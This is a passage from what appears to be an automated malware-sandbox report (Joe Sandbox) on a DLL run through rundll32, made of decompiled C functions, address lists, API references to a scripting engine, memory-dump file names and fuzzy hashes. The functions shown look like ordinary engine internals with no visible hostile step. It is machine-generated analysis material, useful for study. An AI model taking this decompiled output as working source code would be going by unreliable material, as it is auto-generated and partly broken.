									if(_t70 != 6) {
										__eflags = _t70 - 2;
										if(_t70 != 2) {
											_t71 =  *_t88;
											__eflags = _t71 - 0x31;
											if(_t71 < 0x31) {
												L31:
												_push(_t71);
												_push(0x17);
											} else {
												__eflags = _t71 - 0x6b;
												if(_t71 > 0x6b) {
													goto L31;
												} else {
													_push(_t71);
													_push(9);
												}
											}
											E1003AAC0(_t147, _t129);
										}
									}
								}
								E1003A9F0(_t147, 0);
								 *[fs:0x0] = _v16;
								return _t138;
							} else {
								switch( *((intOrPtr*)(( *(_t82 + 0x1003df68) & 0x000000ff) * 4 +  &M1003DF50))) {
									case 0:
										L19:
										_t73 = E1003C3E0(_t147, _t129, 2);
										 *[fs:0x0] = _v16;
										return _t73;
										goto L40;
									case 1:
										_t13 = _t147 + 4; // 0x4
										E10044CC0(_t13,  *((intOrPtr*)(_t147 + 0xac)));
										E1003A9F0(_t147, 1);
										_push(0x20);
										_t74 =  *0x1006a1d0();
										_v24 = _t74;
										_v8 = 1;
										L7:
										if(_t74 == 0) {
											_t75 = 0;
											__eflags = 0;
										} else {
											_t75 = E10037280(_t88);
										}
										_v8 = 0xffffffff;
										E1003A9F0(_t147, 0);
										 *[fs:0x0] = _v16;
										return _t75;
										goto L40;
									case 2:
										__ecx = __esi;
										__eax = L1003D730(__esi, __fp0);
										__ecx = _v16;
										 *[fs:0x0] = _v16;
										_pop(__ecx);
										_pop(__esi);
										return __eax;
										goto L40;
									case 3:
										__ecx = __esi;
										__eax = E1003C0D0(__esi, __edx);
										__ecx = _v16;
										 *[fs:0x0] = _v16;
										_pop(__ecx);
										_pop(__esi);
										return __eax;
										goto L40;
									case 4:
										goto L18;
									case 5:
										goto L22;
								}
							}
						}
					}
				}
				L40:
			}

0x1003dc63
0x1003dc65
0x1003dc70
0x1003dc77
0x1003dc7e
0x1003dc82
0x1003dc88
0x1003dc91
0x1003defe
0x1003df07
0x1003df0a
0x1003df11
0x1003df13
0x1003df25
0x1003df25
0x1003df15
0x1003df15
0x1003df1e
0x1003df1e
0x1003df2d
0x1003df36
0x1003df40
0x1003df4e
0x1003dcad
0x1003dcad
0x1003dcb3
0x1003dcb3
0x1003dcb9
0x1003dcbc
0x1003dd7b
0x1003dd80
0x1003de13
0x1003de13
0x1003de18
0x1003decc
0x1003ded6
0x1003dedd
0x1003dee2
0x1003dee2
0x1003dee2
0x1003deed
0x1003defb
0x1003de1e
0x1003de1e
0x1003de21
0x1003de9c
0x1003dea6
0x1003dead
0x1003deb2
0x1003deb2
0x1003deb2
0x1003debd
0x1003decb
0x00000000
0x00000000
0x00000000
0x1003de21
0x1003dd86
0x1003dd86
0x00000000
0x1003dd88
0x1003dd88
0x1003dd8b
0x00000000
0x1003dd8d
0x1003dd8d
0x1003dd92
0x00000000
0x1003dd98
0x1003dd98
0x1003dda2
0x1003ddad
0x1003ddbd
0x1003ddc2
0x1003ddc2
0x1003ddc2
0x1003ddcd
0x1003dddb
0x1003dddb
0x1003dd92
0x1003dd8b
0x1003dd86
0x1003dcc2
0x1003dcc2
0x1003dddc
0x1003ddde
0x1003dde7
0x1003ddea
0x00000000
0x1003dcc8
0x1003dcc8
0x1003dcce
0x1003de23
0x1003de25
0x1003de2e
0x1003de31
0x1003de38
0x1003de3a
0x1003de46
0x1003de46
0x1003de3c
0x1003de3f
0x1003de3f
0x1003de48
0x1003de4c
0x1003de53
0x1003de55
0x1003de57
0x1003de5a
0x1003de5d
0x1003de5f
0x1003de62
0x1003de64
0x1003de66
0x1003de69
0x1003de75
0x1003de75
0x1003de76
0x1003de6b
0x1003de6b
0x1003de6e
0x00000000
0x1003de70
0x1003de70
0x1003de71
0x1003de71
0x1003de6e
0x1003de7a
0x1003de7a
0x1003de62
0x1003de5d
0x1003de83
0x1003de8d
0x1003de9b
0x1003dcd4
0x1003dcdb
0x00000000
0x1003ddf6
0x1003ddfa
0x1003de04
0x1003de12
0x00000000
0x00000000
0x1003dce9
0x1003dcec
0x1003dcf5
0x1003dcfa
0x1003dcfc
0x1003dd05
0x1003dd08
0x1003dd0f
0x1003dd11
0x1003dd1d
0x1003dd1d
0x1003dd13
0x1003dd16
0x1003dd16
0x1003dd23
0x1003dd2c
0x1003dd36
0x1003dd44
0x00000000
0x00000000
0x1003dd45
0x1003dd47
0x1003dd4e
0x1003dd51
0x1003dd58
0x1003dd5a
0x1003dd5f
0x00000000
0x00000000
0x1003dd60
0x1003dd62
0x1003dd69
0x1003dd6c
0x1003dd73
0x1003dd75
0x1003dd7a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1003dcdb
0x1003dcce
0x1003dcc2
0x1003dcbc
0x00000000

APIs

lget@ESContext@ScScript@@SAAAV12@XZ.MAIN(3A5D9654,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1003DC97

Part of subcall function 10009E50: l?0ESContext@ScScript@@IAE@XZ.MAIN ref: 10009E70

l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003DD16
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003DE3F
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003DF1E

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Info@1@@Node@Scan$Context@$V12@lget@
String ID:
API String ID: 1726162085-0
Opcode ID: 4a5cc2a8428e0249da86c44e45055756a3598d81b2caa484398fd5dbd621ebdb
Instruction ID: 9dd0f81ce3a511da516af9778579093fb6a3484523cbf70260996124abd742f8
Opcode Fuzzy Hash: 4a5cc2a8428e0249da86c44e45055756a3598d81b2caa484398fd5dbd621ebdb
Instruction Fuzzy Hash: CE813732B046449FEB16EB68A4427ADF7E5EB40722F10417BE91ADF3C1EF3269008781

Uniqueness

Uniqueness Score: -1.00%

Function 1002B0B0 Relevance: 6.2, APIs: 4, Instructions: 193
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E1002B0B0(intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr* _v20;
				intOrPtr* _v24;
				void* _v28;
				intOrPtr _v32;
				char _v56;
				char _v80;
				void* __ebx;
				void* __esi;
				signed int _t70;
				intOrPtr _t77;
				intOrPtr* _t78;
				intOrPtr* _t79;
				void* _t82;
				void* _t85;
				void* _t89;
				intOrPtr _t95;
				intOrPtr _t96;
				void* _t100;
				void* _t109;
				void* _t111;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t125;
				intOrPtr _t126;
				intOrPtr* _t127;
				intOrPtr _t130;
				intOrPtr _t132;
				intOrPtr _t134;
				intOrPtr _t137;
				intOrPtr _t151;
				void* _t152;
				intOrPtr _t153;
				void* _t155;
				void* _t156;
				void* _t159;
				intOrPtr _t162;
				void* _t165;
				signed int _t166;

				_t70 =  *0x10094144; // 0x3a5d9654
				 *[fs:0x0] =  &_v16;
				_t153 = _a4;
				_t141 =  *((intOrPtr*)(_t153 + 0x18));
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 4)))) + 0xdc))))( *((intOrPtr*)(_t153 + 0x18)), 0x20000089, _t70 ^ _t166, _t152, _t156, _t109,  *[fs:0x0], 0x10062fe5, 0xffffffff);
				 *0x1006a230();
				_t77 =  *((intOrPtr*)(_t153 + 8));
				_v8 = 0;
				if( *((intOrPtr*)(_t77 + 0x10)) != 5) {
					_t78 = 0;
				} else {
					_t78 =  *((intOrPtr*)(_t77 + 8));
				}
				_t79 = E1002AB30(_t78);
				_t115 =  *((intOrPtr*)(_t153 + 8));
				_v20 = _t79;
				if( *((intOrPtr*)(_t115 + 0x10)) != 5) {
					_v28 = 0;
				} else {
					_v28 =  *((intOrPtr*)(_t115 + 8));
				}
				_t116 =  *((intOrPtr*)(_t153 + 0x18));
				if( *((intOrPtr*)(_t116 + 0x10)) != 5) {
					_v24 = 0;
				} else {
					_t141 =  *((intOrPtr*)(_t116 + 8));
					_v24 =  *((intOrPtr*)(_t116 + 8));
				}
				_t111 = 0;
				if(_t79 == 0) {
					L11:
					_v28 = 0;
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x14)))) + 4))))() == 0) {
						L24:
						_v8 = 0xffffffff;
						_t82 =  *0x1006a1c8();
						 *[fs:0x0] = _v16;
						return _t82;
					} else {
						goto L12;
					}
					do {
						L12:
						_t159 =  *0x1006a308(_v28);
						_t85 =  *0x1006a204();
						if(_t85 != 5) {
							L25:
							 *0x1006a48c(_t159);
							_v8 = 1;
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 4)))) + 0xe0))))( &_v80, 1);
							_t125 =  *0x1009415c; // 0x0
							_t89 = E10004070(_t111, _t125,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 4)))) + 0xe0)), _t111);
							_t126 =  *((intOrPtr*)(_t153 + 0x18));
							if( *((intOrPtr*)(_t126 + 0x10)) != 5) {
								_t127 = 0;
							} else {
								_t127 =  *((intOrPtr*)(_t126 + 8));
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_t127 + 4))))(_t89,  &_v80, 0);
							_t111 = _t111 + 1;
							_v8 = 0;
							 *0x1006a1c8();
							goto L23;
						}
						_t130 =  *((intOrPtr*)(_t159 + 0x10));
						if(_t130 != _t85) {
							_t95 = 0;
						} else {
							_t95 =  *((intOrPtr*)(_t159 + 8));
						}
						if( *((intOrPtr*)(_t95 + 0x6e)) != 0x20000089) {
							goto L25;
						} else {
							if(_t130 != 5) {
								_v20 = 0;
							} else {
								_v20 =  *((intOrPtr*)(_t159 + 8));
							}
							_t96 = E1000C370();
							_t155 = 0;
							_v32 = _t96;
							if(_t96 == 0) {
								L22:
								_t153 = _a4;
								goto L23;
							} else {
								do {
									_t132 =  *0x1009415c; // 0x0
									 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0x94))))(E10004070(_t111, _t132, _v20, _t155),  &_v56, 0);
									_t134 =  *0x1009415c; // 0x0
									_t100 = E10004070(_t111, _t134,  *((intOrPtr*)( *_v20 + 0x94)), _t111);
									 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 4))))(_t100,  &_v56, 0);
									_t155 = _t155 + 1;
									_t111 = _t111 + 1;
								} while (_t155 < _v32);
								goto L22;
							}
						}
						L23:
						_t162 = _v28 + 1;
						_v28 = _t162;
					} while (_t162 <  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x14)))) + 4))))());
					goto L24;
				} else {
					do {
						_t137 =  *0x1009415c; // 0x0
						_t165 = E10004070(_t111, _t137, _t141, _t111);
						 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x94))))(_t165,  &_v56, 0);
						_t151 =  *_v24;
						_t141 =  *((intOrPtr*)(_t151 + 4));
						 *((intOrPtr*)( *((intOrPtr*)(_t151 + 4))))(_t165,  &_v56, 0);
						_t111 = _t111 + 1;
					} while (_t111 < _v20);
					goto L11;
				}
			}

0x1002b0c7
0x1002b0d2
0x1002b0d8
0x1002b0e0
0x1002b0ef
0x1002b0f4
0x1002b0fa
0x1002b102
0x1002b10c
0x1002b113
0x1002b10e
0x1002b10e
0x1002b10e
0x1002b117
0x1002b11c
0x1002b11f
0x1002b125
0x1002b12f
0x1002b127
0x1002b12a
0x1002b12a
0x1002b136
0x1002b13c
0x1002b146
0x1002b13e
0x1002b13e
0x1002b141
0x1002b141
0x1002b14d
0x1002b151
0x1002b18c
0x1002b194
0x1002b19f
0x1002b268
0x1002b26b
0x1002b272
0x1002b27b
0x1002b289
0x00000000
0x00000000
0x00000000
0x1002b1a5
0x1002b1a5
0x1002b1b2
0x1002b1b6
0x1002b1bf
0x1002b28a
0x1002b28e
0x1002b2a5
0x1002b2a9
0x1002b2ab
0x1002b2b2
0x1002b2b7
0x1002b2be
0x1002b2c5
0x1002b2c0
0x1002b2c0
0x1002b2c0
0x1002b2d3
0x1002b2d7
0x1002b2d8
0x1002b2dc
0x00000000
0x1002b2dc
0x1002b1c5
0x1002b1ca
0x1002b1d1
0x1002b1cc
0x1002b1cc
0x1002b1cc
0x1002b1da
0x00000000
0x1002b1e0
0x1002b1e3
0x1002b1ed
0x1002b1e5
0x1002b1e8
0x1002b1e8
0x1002b1f7
0x1002b1fc
0x1002b1fe
0x1002b203
0x1002b24c
0x1002b24c
0x00000000
0x1002b205
0x1002b205
0x1002b208
0x1002b226
0x1002b228
0x1002b22f
0x1002b243
0x1002b245
0x1002b246
0x1002b247
0x00000000
0x1002b205
0x1002b203
0x1002b24f
0x1002b25a
0x1002b25b
0x1002b260
0x00000000
0x1002b153
0x1002b153
0x1002b153
0x1002b162
0x1002b173
0x1002b178
0x1002b17a
0x1002b184
0x1002b186
0x1002b187
0x00000000
0x1002b153

APIs

ladd@DataPool@ScScript@@QAEHI@Z.MAIN(00000000), ref: 1002B15A
ladd@DataPool@ScScript@@QAEHI@Z.MAIN(00000000,?,00000000), ref: 1002B217
ladd@DataPool@ScScript@@QAEHI@Z.MAIN(00000000), ref: 1002B22F
ladd@DataPool@ScScript@@QAEHI@Z.MAIN(00000000), ref: 1002B2B2

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@ladd@
String ID:
API String ID: 1005944317-0
Opcode ID: cb62b6da45e8034e5528733dc553fca7f2b50a61d816b059213a636cebe37268
Instruction ID: fb659bfc8c8d1296f2e2d3dcd95c9a5c772ab60187dada6efae8f9985f3a4c7f
Opcode Fuzzy Hash: cb62b6da45e8034e5528733dc553fca7f2b50a61d816b059213a636cebe37268
Instruction Fuzzy Hash: E1718E74A00616DFDB04DFA4D890BAEB7B5FF89350F518258E91697390DB30BD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10016DD0 Relevance: 6.1, APIs: 4, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E10016DD0(intOrPtr* __ecx, char _a4, signed int _a8, intOrPtr _a12) {
				char _v8;
				char _v16;
				void* _v20;
				char _v24;
				char _v32;
				intOrPtr _v40;
				signed int _v48;
				char _v56;
				void* _v68;
				char _v80;
				signed int _t51;
				void* _t94;
				intOrPtr _t96;
				intOrPtr* _t103;
				void* _t138;
				void* _t143;
				intOrPtr* _t144;
				signed int _t146;

				_t51 =  *0x10094144; // 0x3a5d9654
				 *[fs:0x0] =  &_v16;
				_t144 = __ecx;
				 *0x1006a4d0( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x34))))(), _t51 ^ _t146, _t138, _t143, _t94,  *[fs:0x0], 0x1005fd55, 0xffffffff);
				_v8 = 0;
				 *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x18))))();
				_push(0);
				_push(0);
				_push(_a8);
				E100189C0( &_v20,  *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0xfc))))());
				_t103 = _v20;
				_v8 = 1;
				if(_t103 == 0) {
					E10014420(__ecx, _a12);
				} else {
					 *((intOrPtr*)( *((intOrPtr*)( *_t103 + 4))))();
					 *0x1006a230();
					_v8 = 2;
					 *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0xf8))))();
					 *0x1006a32c( &_v56, _v20, 0);
					_t75 =  *(__ecx + 0x1c);
					_t96 =  *((intOrPtr*)(__ecx + 0xfc));
					_v8 = 3;
					_a8 =  *(__ecx + 0x1c) >> 0x00000008 & 0x000000ff;
					E10009070(__ecx, 0);
					E100090B0(__ecx, 0);
					 *0x1006a190();
					_v8 = 4;
					E10014D00(__ecx,  &_v80, 0x2710);
					E10014DD0(_t144, 0x43, (0 | _v40 != 0x00000005) - 0x00000001 & _v48, _a4,  &_v32, _a12, 0x40);
					E10013090(_t144,  &_v80);
					 *((intOrPtr*)(_t144 + 0xfc)) = _t96;
					E10009070(_t144, _t75 & 0x000000ff);
					E100090B0(_t144, _a8);
					_v8 = 3;
					 *0x1006a184();
					_v8 = 2;
					 *0x1006a31c();
					_v8 = 1;
					 *0x1006a1c8();
				}
				 *((intOrPtr*)( *((intOrPtr*)( *_t144 + 0xc8))))( &_v24);
				_v8 = 0;
				E10018960();
				_v8 = 0xffffffff;
				 *0x1006a414();
				 *[fs:0x0] = _v16;
				return  *((intOrPtr*)(_t144 + 0xc8));
			}

0x10016de7
0x10016df2
0x10016df8
0x10016e05
0x10016e12
0x10016e19
0x10016e26
0x10016e28
0x10016e2a
0x10016e33
0x10016e38
0x10016e3b
0x10016e41
0x10016f41
0x10016e47
0x10016e4c
0x10016e51
0x10016e6b
0x10016e6f
0x10016e74
0x10016e7a
0x10016e7d
0x10016e91
0x10016e9b
0x10016e9e
0x10016ea7
0x10016eaf
0x10016ec0
0x10016ec4
0x10016ee9
0x10016ef4
0x10016efc
0x10016f02
0x10016f0d
0x10016f15
0x10016f19
0x10016f22
0x10016f26
0x10016f2f
0x10016f33
0x10016f33
0x10016f5a
0x10016f5f
0x10016f63
0x10016f6b
0x10016f72
0x10016f7d
0x10016f8b

APIs

lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10016E9E
lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10016EA7

Part of subcall function 10014D00: lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 10014D1D
Part of subcall function 10014D00: lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 10014D35
Part of subcall function 10014D00: lgetLocalizer@Engine@ScScript@@QBEPBVLocalizer@ScCore@@XZ.MAIN ref: 10014D4E
Part of subcall function 10014D00: lgetLocalizer@Engine@ScScript@@QBEPBVLocalizer@ScCore@@XZ.MAIN ref: 10014D59

Part of subcall function 10013090: lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 100130CD

lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(?), ref: 10016F02
lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(?), ref: 10016F0D

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Engine@$Level@Localizer@lset$Context@V12@lget@$Core@@DebugProfilinglget
String ID:
API String ID: 983404331-0
Opcode ID: 0f0b1287c15e9bbc1c1a7d0a2e16157908c7d0ad8ccaf1269cfecc2c173063af
Instruction ID: 21e0072249bb37265f5ea43c6485717ab5fde6006ff243ccfb01dbd5a8670d4b
Opcode Fuzzy Hash: 0f0b1287c15e9bbc1c1a7d0a2e16157908c7d0ad8ccaf1269cfecc2c173063af
Instruction Fuzzy Hash: 92518975A00219EFDB04DBA8C895FAEB7B9EF98300F10815DE516A7390DB74AA05CB61

Uniqueness

Uniqueness Score: -1.00%

Function 10017090 Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E10017090(intOrPtr* __ecx, char _a4) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				char _v52;
				signed int _t40;
				char* _t42;
				intOrPtr _t46;
				void* _t55;
				intOrPtr* _t56;
				intOrPtr* _t59;
				void* _t66;
				char _t108;
				intOrPtr _t109;
				intOrPtr* _t112;
				signed int _t115;
				void* _t116;

				_push(0xffffffff);
				_push(0x1005fda8);
				_push( *[fs:0x0]);
				_t40 =  *0x10094144; // 0x3a5d9654
				_push(_t40 ^ _t115);
				_t42 =  &_v16;
				 *[fs:0x0] = _t42;
				_v20 = _t116 - 0x24;
				_t112 = __ecx;
				_v28 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x7c)) == 0 ||  *((char*)(__ecx + 0xcd)) != 0) {
					L7:
					 *[fs:0x0] = _v16;
					return _t42;
				} else {
					_t75 =  *((intOrPtr*)(__ecx + 0x6c));
					if( *((intOrPtr*)(__ecx + 0x6c)) == 0) {
						L4:
						_t108 = _a4;
						if( *0x1006a238() == 0) {
							L9:
							 *((intOrPtr*)( *((intOrPtr*)( *_t112 + 0xa8))))(1);
							_t46 =  *((intOrPtr*)(_t112 + 0x7c));
							_v8 = 1;
							if(_t46 == 0) {
								_t109 = 0;
							} else {
								_t21 = _t46 + 4; // 0x4
								_t109 = _t21;
							}
							 *0x1006a160();
							_v24 = _t109;
							 *0x1006a3d4();
							_v8 = 2;
							 *((short*)(_t112 + 0xcd)) = 0x101;
							if(E10009120(_t112) != 0) {
								_t59 = E10009120(_t112);
								 *((intOrPtr*)( *((intOrPtr*)( *_t59 + 0x10))))(_t112);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t112 + 0x7c)))) + 4))))(_t112);
							if(E10009120(_t112) != 0) {
								_t87 =  *((intOrPtr*)(_t112 + 0x6c));
								if( *((intOrPtr*)(_t112 + 0x6c)) == 0) {
									_a4 = 0;
								} else {
									_a4 = E10018920(_t87);
								}
								_t56 = E10009120(_t112);
								 *((intOrPtr*)( *((intOrPtr*)( *_t56 + 0x14))))(_t112, _a4);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_t112 + 0xa8))))(0);
							 *((char*)(_t112 + 0xcd)) = 0;
							_v8 = 1;
							_t55 =  *0x1006a3d8();
							 *[fs:0x0] = _v16;
							return _t55;
						} else {
							 *0x1006a230();
							_v8 = 0;
							 *((intOrPtr*)( *((intOrPtr*)( *_t112 + 0xe8))))( *((intOrPtr*)( *((intOrPtr*)(_t112 + 0x6c)) + 0x14)), _t108,  &_v52);
							_t66 =  *0x1006a388();
							_v8 = 0xffffffff;
							if(_t66 != 0) {
								 *0x1006a1c8();
								goto L9;
							} else {
								_t42 =  *0x1006a1c8();
								goto L7;
							}
						}
					} else {
						_t42 = E10018C80(_t75);
						if(_t42 != 0) {
							goto L7;
						} else {
							goto L4;
						}
					}
				}
			}

0x10017093
0x10017095
0x100170a0
0x100170a7
0x100170ae
0x100170af
0x100170b2
0x100170b8
0x100170bb
0x100170bd
0x100170c4
0x10017133
0x10017136
0x10017144
0x100170cf
0x100170cf
0x100170d4
0x100170df
0x100170df
0x100170ec
0x1001714d
0x1001715d
0x1001715f
0x10017162
0x10017167
0x1001716e
0x10017169
0x10017169
0x10017169
0x10017169
0x10017173
0x1001717b
0x1001717e
0x10017186
0x1001718a
0x1001719a
0x1001719e
0x100171ab
0x100171ab
0x100171b6
0x100171c1
0x100171c3
0x100171c8
0x100171d4
0x100171ca
0x100171cf
0x100171cf
0x100171da
0x100171eb
0x100171eb
0x100171f9
0x100171fe
0x10017205
0x10017208
0x10017211
0x1001721f
0x100170ee
0x100170f1
0x1001710d
0x10017114
0x10017119
0x1001711f
0x1001712b
0x10017147
0x00000000
0x1001712d
0x1001712d
0x00000000
0x1001712d
0x1001712b
0x100170d6
0x100170d6
0x100170dd
0x00000000
0x00000000
0x00000000
0x00000000
0x100170dd
0x100170d4

APIs

lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 10017193
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 1001719E
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 100171BA
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 100171DA

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Callback@Callback@2@Engine@Script@@lget
String ID:
API String ID: 2532239064-0
Opcode ID: daad36c659f5512ed53bb5b451b128c81017f20634a7dbb36a878754728c04c0
Instruction ID: 265822a9d3effb634e111a25bdcbe8083d6a8de1aa4e9c275ef8494fe8bc4636
Opcode Fuzzy Hash: daad36c659f5512ed53bb5b451b128c81017f20634a7dbb36a878754728c04c0
Instruction Fuzzy Hash: 6751BE34600615EFDB04DF69C894BAEB7F5FF89250F10825DE84A9B390DB74EA81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00FC209B Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.392104816.0000000000FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_fc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a75496f1efb5c191d428df92e40a50d38fb096c5dc734c531708c1a65280a27
Instruction ID: 06ab2c30f99c078de549d1899f677eb1f17b0d78435af639442dd33cf1e4fb5f
Opcode Fuzzy Hash: 1a75496f1efb5c191d428df92e40a50d38fb096c5dc734c531708c1a65280a27
Instruction Fuzzy Hash: C031B132D4000AAFCBA4CB64CA96FBE7B72EB41310FAC415DE6026B241D6315E81F750

Uniqueness

Uniqueness Score: -1.00%

Function 10014D00 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E10014D00(intOrPtr __ecx, char _a4, signed int _a8) {
				void* _t24;
				intOrPtr* _t25;
				intOrPtr _t27;
				intOrPtr _t34;
				signed int _t40;
				intOrPtr* _t54;
				intOrPtr _t55;

				_t55 = __ecx;
				_t24 =  *0x1006a3fc();
				_t54 = _a4;
				_t25 = _t24 + 8;
				 *_t54 = _t25;
				 *((intOrPtr*)(_t54 + 4)) =  *_t25;
				 *_t25 = __ecx;
				_t27 =  *((intOrPtr*)(L10009E50() + 0x10));
				 *((intOrPtr*)(_t54 + 0x10)) = _t27;
				if(_t27 == 0) {
					_a4 =  *((intOrPtr*)(_t55 + 0xe0));
					 *((intOrPtr*)(L10009E50() + 0x10)) =  &_a4 - _a4;
				}
				 *((intOrPtr*)(_t54 + 8)) =  *0x1006a434();
				if(E100090E0(_t55) != 0) {
					 *0x1006a430(E100090E0(_t55));
				}
				_t40 = _a8;
				if( *((intOrPtr*)(_t55 + 0x6c)) == 0) {
					if(_t40 == 0) {
						_t40 =  *(_t55 + 0xa8);
					}
					_t34 =  *((intOrPtr*)(_t55 + 0xe4));
					if(_t34 != 0) {
						 *0x1006a19c(_t34 + 4);
					}
				}
				 *((intOrPtr*)(_t54 + 0x14)) =  *((intOrPtr*)(_t55 + 0xac));
				if(_t40 == 0) {
					 *((intOrPtr*)(_t55 + 0xac)) = 0;
					return 0;
				} else {
					 *((intOrPtr*)(_t55 + 0xac)) =  *0x1006a53c() + (0x51eb851f * _t40 >> 0x20 >> 4);
					return 0x51eb851f * _t40;
				}
			}

0x10014d06
0x10014d08
0x10014d0e
0x10014d11
0x10014d14
0x10014d18
0x10014d1b
0x10014d22
0x10014d25
0x10014d2a
0x10014d32
0x10014d40
0x10014d40
0x10014d4b
0x10014d55
0x10014d5f
0x10014d65
0x10014d6c
0x10014d6f
0x10014d73
0x10014d75
0x10014d75
0x10014d7b
0x10014d83
0x10014d8c
0x10014d8c
0x10014d83
0x10014d98
0x10014d9d
0x10014dc3
0x10014dcc
0x10014d9f
0x10014db4
0x10014dbd
0x10014dbd

APIs

lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 10014D1D

Part of subcall function 10009E50: l?0ESContext@ScScript@@IAE@XZ.MAIN ref: 10009E70

lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 10014D35
